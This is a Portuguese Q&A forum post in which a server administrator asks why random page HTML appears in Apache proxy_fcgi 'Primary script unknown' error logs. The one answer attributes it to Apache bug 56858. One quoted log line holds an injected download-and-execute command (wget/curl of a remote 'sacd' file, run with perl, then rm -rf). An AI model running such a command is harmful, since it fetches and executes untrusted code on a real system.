HTML aleatório e valor de cookie são anexados à mensagem de erro apache proxy_fcgi

1

Estou usando o Apache com o PHP-FPM no meu servidor web. Quando o usuário insere um nome de caminho aleatório que o Apache passa para proxy-fcgi e o arquivo não pôde ser encontrado, haverá um erro padrão registrado no log de erros:

AH01071: Got error 'Primary script unknown\n'

No entanto, em certas ocasiões, recebo uma parte do HTML de uma página aleatória do meu site, assim:

AH01071: Got error 'Primary script unknown\n\r\n\r\n<!DOCTYPE html>\n\n<html>\n<head>\n<title>Title of My Webpage</title>\n<meta charset='UTF-8'>\n<meta na.....

e assim:

AH01071: Got error 'Primary script unknown\nmmary'>\n<colgroup>\n<col/><col/><col/><col/>\n</colgroup>\n<tbody>\n<tr><td....

Eu fiquei muito preocupado quando vi algo assim hoje:

AH01071: Got error 'Primary script unknown\nmp;wget http://redacted/sacd ; curl -O http://redacted/sacd ; perl sacd ;rm -rf sac*"); charset='UTF-8'>\n<meta name='format-de....

Qual eu acho que é um valor de cookie intercalado dentro do pedaço HTML aleatório. Alguém já experimentou esse fenômeno? Pode ser feito algo para impedir que o HTML e o cookie aleatórios sejam anexados à mensagem de erro?

    
por user257879 09.12.2014 / 17:26

1 resposta

0

Este é o bug 56858 a ser corrigido na próxima versão do 2.4.x (2.4.11?). Aqui está o patch:

link

    
por 12.12.2014 / 02:19